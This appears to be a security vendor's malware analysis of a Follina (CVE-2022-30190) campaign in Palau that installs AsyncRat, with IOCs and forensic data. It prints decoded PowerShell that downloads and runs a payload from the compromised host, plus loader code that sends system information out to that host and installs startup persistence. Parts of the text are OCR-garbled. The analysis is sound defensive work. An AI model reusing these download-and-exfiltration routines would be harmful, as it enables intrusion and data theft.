Outbreak of Follina in Australia

o

(Rlt)

June 3, 2022

More on
Avast Inside Out

[

by Threat Intelligence TeamJune 3, 20223 min read

Our threat hunters have been busy searching for abuse of the recently-released zero-day remote code execution bug in
Microsoft Office ( CVE-2022-30190 ). As part of their investigations, they found evidence of a threat actor hosting malicious
payloads on what appears to be an Australian VOIP telecommunications provider with a presence inthe South
Pacific nation of Palau .

Further analysis indicated that targets in Palau were sent malicious documents that, when opened, exploited this
vulnerability, causing victim computers to contact the provider’s website, download and execute the malware, and

subsequently become infected.

Key Observations

This threat was a complex multi-stage operation utilizing LOLBAS (Living off the Land Binaries And Scripts), which allowed
the attacker to initialize the attack using the CVE-2022-30190 vulnerability within the Microsoft Support Diagnostic
Tool . This vulnerability enables threat actors to run malicious code without the user downloading an executable to their

machine which might be detected by endpoint detection.

Multiple stages of this malware were signed with a legitimate company certificate to add additional legitimacy and minimize
the chance of detection.

First stage

The compromised website, as pictured in the screenshot below, was used to host robots.txt which is an executable
which was disguised as “robots.txt”. We believe the name was used to conceal itself from detection if found in network logs.
Using the Diagnostics Troubleshooting Wizard ( msdt . exe ), this file “robots.txt” was downloaded and saved as the file

( Sihost.exe ) and then executed.
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Recipe om B

From Base64 O n
Alphabet .
A-Za-z0-9+/=

Remove non-alphabet chars

Second Stage, Sihost.exe

1 h: 360 —
Input el +toD3E =

JHAGW@Vudmyb25+tZHS@XTo6R2VORMISZGVYUGF@aChbU31zdGVtLKVudnlyb25tZWSOK1Nn ZWNy
YWxGb2xkZXJdOjpTdGFydHVWKT SKSW52b21 LVd1Y1J1cXV1c3QgLVVyaSBodHRwO1 8vcGFsYXUL
dmIpcHNOZWx1Y 29t LmNvbS5hdS9yb2 JvaHMudHh@T CINZXRob2QgR2VOIC1PAXRGalx 1 ICRwI1xc
U210b3N@LmV4ZSIKU3RhcnQtUHIVY2VzeyAtRmlsZVBhdGggIHATXFXTalhvc3QuZXh1TiAtV29)
a21uZ@RpcmVjdGOyeSAkcApTdGIWLVBYb2N1 c3MgLUShbiUgIm1zZHQi

time: Ims

Output length: 279 a |_D ) H

lines:
$p=
[Environment]: : GetFolderPath([System.Environment+SpecialFolder]: :Startup);
Invoke-WebRequest -Uri http://palau.voipstelecom.com.au/robots.txt -Method
Get -OutFile $p"\\Sihost.exe"
Start-Process -FilePath $p"\\Sihost.exe" -WorkingDirectory $p
Stop-Process -Name "msdt"

When the renamed “robots.txt” — “Sihost.exe” — was executed by msdt.exe it downloaded the second stage of the attack
which was a loader with the hash b63fbf80351b3480c62a6a5158334ec8e91fecd057f6c19e4b4add3febaadd447 . This
executable was then used to download and decrypt the third stage of the attack, an encrypted file stored as

‘ favicon.svg ’on the same web server.

Third stage, favicon.svg

After this file has been decrypted, it is used to download the fourth stage of the attack from
palau.voipstelecom.com[.]au. These files are named Sevntx64.exe and Sevntx.lnk , which are then executed

on the victims’ machine.

3

i/ Token: e@xe6ea8089 RID: 9 RVA: @xea@022B8 File Offset: GxBo0004B8
private static byte[] AESDecrypt(string B&4, string Key)

i

return new RijndaslManaged
{

Mode = CipherMode.ECE,
Padding = PaddingMode.PKCSY

3

Key = Encoding.UTF8.GetBytes(Key),

byte[] array = Convert.FromBaseg4String(Be4d);

t.Createlecryptor().TransformFinalBlock(array, @, array.lLength});

. fa - m mmmmmm am mman s mmmmmmmm =T e e

// Token: @xB6@88806 RID: 6 RVA: @xBB882226 File Offset: GxBBO00428

[STAThread]

public static veid Main(string[] args)
{

Thread.Sleep(9@@@ae);

Container.Running(“http://palau.voipstelecom.com.au/favicon.svg", "f4fl5dddc3baledd443493a2ada526ba™, 1@eee, “"Agent.Agent”, "Invoke");

Thread.Sleep(3@000);
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Recipe

From Basefd

Alphabet

A-Za-z0-9+/=

& Remove non-alphabet chars

AES Decrypt
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w
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ECB

To Hexdump

Width

Input

Raw

[0 upper case hex [ include final length [J UNIX format
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e n
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e n

Input
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// Token: @x@6@0008F RID: 15 RVA: @x00002650 File Offset: 8x00000850
public static void Invoke()
i

¥

try
{

StringBuilder stringBuilder

= new StringBuilder();

EBEY

P
AERSaS

TEEEEEEgE8HEEeBLEse

ggEesees-22ssgzengEe8Ee
288888888888 8885a78888
EESTELcEEEErANEYEEEES
ggEssgss8gssg=gn9E 888
HEEEEEEEEE AR IR av i R4

tgs
588
(g
188

#File icon

ETEBEESHREBEEBEES

g888888888888P8z2h8888

ggsggssgs8888gygoz2ssss
g88

BEE8

"E88s888s882e87eaRyANEEER
]
g

EEEEEEEETEEe=sEeeFoasEs

-~
r
@
tn
-
o

3
H
7
H
H

ENEESTEESEEsEmag8ED

"

e
o0

74

EEE8ETEsEEIR3EesATNERED
ggssssgs8s

g8
tgs
(gs

Mame: favicon.svg.dat
Size: 15 724 bytes
Type: unknown

Loaded: 100%
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288888

&
EEEEEEEEeREeeEEgEzeeEE:

stringBuilder.AppendLine( "Computer Name: " + Environment.GetEnvironmentVariable("COMPUTERNAME"));

stringBuilder.AppendLine("User Name:
stringBuilder.AppendLine("User Domain:

Process currentProcess = Process.GetCurrentProcess();

stringBuilder.AppendLine("Current Process:

+ currentProcess.ProcessName);

stringBuilder.AppendLine(string.Format("Current Process Id: {B}", currentProcess.Id));
Agent.GetProcesslist(stringBuilder);
Agent.GetServicesList(stringBuilder);
Agent.GetComputerInfo(stringBuilder);
byte[] invokeParameterData = Agent.AESEncrypt(Encoding.UTF8.GetBytes(stringBuilder.ToString()), Agent.Hash("helloworld™));
Agent.Post(“http://palau.voipstelecom.com.au/index.php”, invokeParameterData, string.Empty, string.Empty, string.Empty, string.Empty);

string folderPath = Environment.GetFolderPath(Environment,SpecialFolder.Startup);
string folderPath2 = Environment.GetFolderPath(Environment.SpecialFolder.CommonDocuments);

try
{

" + Environment.GetEnvironmentVariable("USERNAME™));
" + Environment.GetEnvironmentVariable("USERDOMAIN"));

Agent.DownloadFile("http://palau.voipstelecom.com.au/Sevntx64.exe”, folderPath2 + "\\Sevntx64.exe™);
Agent.DownloadFile(“http://palau.voipstelecom. com.au/Sevntx64.1nk™, folderPath + "\\Sevntx64.1lnk");

catch (Exception)
{

}
Thread.Sleep(1000@);

if (File.Exists(folderPath + "\\Sevntx64.1lnk"))

{

Process.Start{new ProcessStartInfo

FileName = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\Sevntx64.lnk"

i
¥

catch (Exception)
{

}

Options 8

length: 15 724+

time: Gas
length: 57407 [}
Tines: ~ 736

17 Tokan-

AvAIAAAAAT RTNR- 3

Fourth Stage, Sevntx64.exe and Sevntx64.Ink

When the file is executed, it loads a 66kb shellcode from the AsyncRat malware family; Sevntx64.exe

the same compromised certificate as seen previously in “robots.txt”.

The screenshot below shows the executable loading the shellcode.

is signed with
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d § helicods (050)
4 M shellcodemn

PuopE
¥ o8 Type References
b o Odiary
#A) -
4 [} Processnjection
4 %, Program @ER000002
B Ziklacnd typ a rechran

4 & Puotection GOMON004
B Zalacini typ & rozhrani
B Odvozent typy
PAGE_EXECUTE s Prog:
PAGE_EXECUTE_READ

PAGE_GUASD :
PAGE MOACCESS
PAGE MOCACHE :
PAGE_READONLY :
PAGE_READWRITE - P
PAGE_WRITECOMEINE
PAGE WRITECORY

Zikladni typ & razhrani
Ochvnzent typy
SheelicoceDelegateiabject, ntPt) : void BO6X00006

(EEedpRo RN N

EreirnckesyncResult) | int GOBI00003
iwcken() : et @OS00000T

Program Protection BOM000007
e Protection. @OA000008

b
B, VetualhllocfsNumalietPts, InéPir, win, wink, wnt, wnt) : It
B, VetualProtect{intPtr, UintPy, uint, out wnt] - bool

PAGE_EXECUTE_READWRITE : Program. Protection @04000(
PAGE_EXECUTE WRITECOPY : Program Protection E04000

Begrinvoke{AsyncCaliback, object) : lAsyncRend @060

Final Stage, AsyncRat

223,
7,
147,
132,
a1,
7%,
236,
“Not showing all elements because this array s too blg (66814 elesents)”
¥
byte ] arrayl;
byte* value;
if ((array2 = array) == null || srray2.Length = 8)
€
walse = mall;

else
t
walue = Barray2[e];

3
IntPtr intPtr2 = (I
uint mam
Program.VirtuslProtect(intPtr2, (UIntPtr)({ulong){{long)array.Lengta}), 54U, out mum);
o 1lcodetelegate shellcodeOrlegate = 1 1

codelelegate();
arrayl = null;

tPur)( (vold® value);

{Progras. Shellc

1/ Token: BxbI000004 RID: 4
public enum Protection
i

£/ Token: BwBABREAE3 AID:

11 Tokes
PAGE_READOWLY

A7 Token: BxB4OBOOES RID: 5
PadiE_REAWRITE = 4,

{1 Token: ExBepR000S RID: &
PAGE_LRITECOPY = B,

en: GxBLBBO0OT RID: 7

dee Legate JMarshal . GetDelegateforfunctionPointer (intPtrd, typeof(Frogras.shell

odetelegate));

When the executable is loaded, the machine has been fully compromised with AsyncRat; the trojan is configured to

communicate with the server palau[.]voipstelecom[.]com[.]au on port 443 .

AsyncRat SHA256:

aba9h566dc23169414ch6927ab5368b590529202df41bfd5dded9f7e62b91479

Screenshot below with AsyncRat configuration:
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We highly recommend Avast Software to protect against the latest threats, and Microsoft patches to protect your Windows

systems from the latest CVE-2022-30190 vulnerability.

I0Cs:

item

sha256
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main webpage

Oaf202af06aef4d36ealslc5a304414a67aeel8c3675286275bd01d11a760c04

robots.txt

b63fbf80351b3480c62a6a5158334ec8e91fecd057f6c19e4b4dd3febaa9d447

favicon.svg

€d4091700374e007ae478c048734c4bcOb7fed0f41e6d5c611351bf301659eee0

decrypted favicon.svg

9651e604f972e36333b14a4095d1758b50decda893e8ff8ab52c95ea89bh9f74

Sevntx64.exe

f3ccf22db2c1060251096Fe99464002318baccf598b626T8dbdd5e7fd71fd23f

Sevntx64.Ink

33297dc67¢c12¢c7876b8052a5f490cc6a4c50a22712ccf36f4f92962463eb744d

shellcode from Sevntx64.exe (66814

bytes)

7d6d317616d237ba8301707230abbbae64b2f8adb48b878c528a5e421419133a

asyncrat

Bonus

aba9bh566dc23169414ch6927ab5368b590529202df41bfd5dded9f7e62b91479

We managed to find an earlier version of this malware.

file hash first seen country
Grievance 87BD2DDFF6A90601F67499384290533701F5A5E6CB43DE185A8EA858A0604974  26.05.2022 NL,
Against Lawyers, proxy
Judge or

Justice.doc.exe

(signed)

Grievance 0477CAC3443BB6E46DE9BIO4CBA478B778A5COF82EA411D44A29961F5CC5C842  18.05.2022 Palau,
Against Lawyers, previous
Judge or Justice victim

(1).zip\Grievance
Against Lawyers,
Judge or
Justice.doc.exe

Forensic information from the Ink file:

field

value

Application

Sevntx64.exe

Accessed time

2022-05-19 09:34:26

Birth droid MAC
address

00:0C:29:59:3C:CC

Birth droid file ID

0e711e902ecfec11954f000c29593ccc

Birth droid volume ID

b097e82425d6c944b33e40f61c831eaf

Creation time

2022-05-19 10:29:34

Drive serial number Oxd4e21f4f
Drive type DRIVE_FIXED
Droid file ID 0e711e902ecfec11954f000c29593ccc

Droid volume 1D

b097e82425d6c944b33e40f61c831eaf

File flags

FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_READONLY

Known folder ID

af2448ede4dca84581e2fc7965083634
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Link flags EnableTargetMetadata, HasLinkInfo, HasRelativePath, HasTargetIDList, HasWorkingDir,
IsUnicodeLocal

base path C:\Users\Public\Documents\Sevntx64.exe
Location Local

MAC address 00:0C:29:59:3C:CC

Machine identifier desktop-eevihc3

Modified time 2020-08-19 04:13:44

Relative path \Sevntx64.exe

Size 1543

Target file size 376368

Working directory C:\Users\Public\Documents

Further reading
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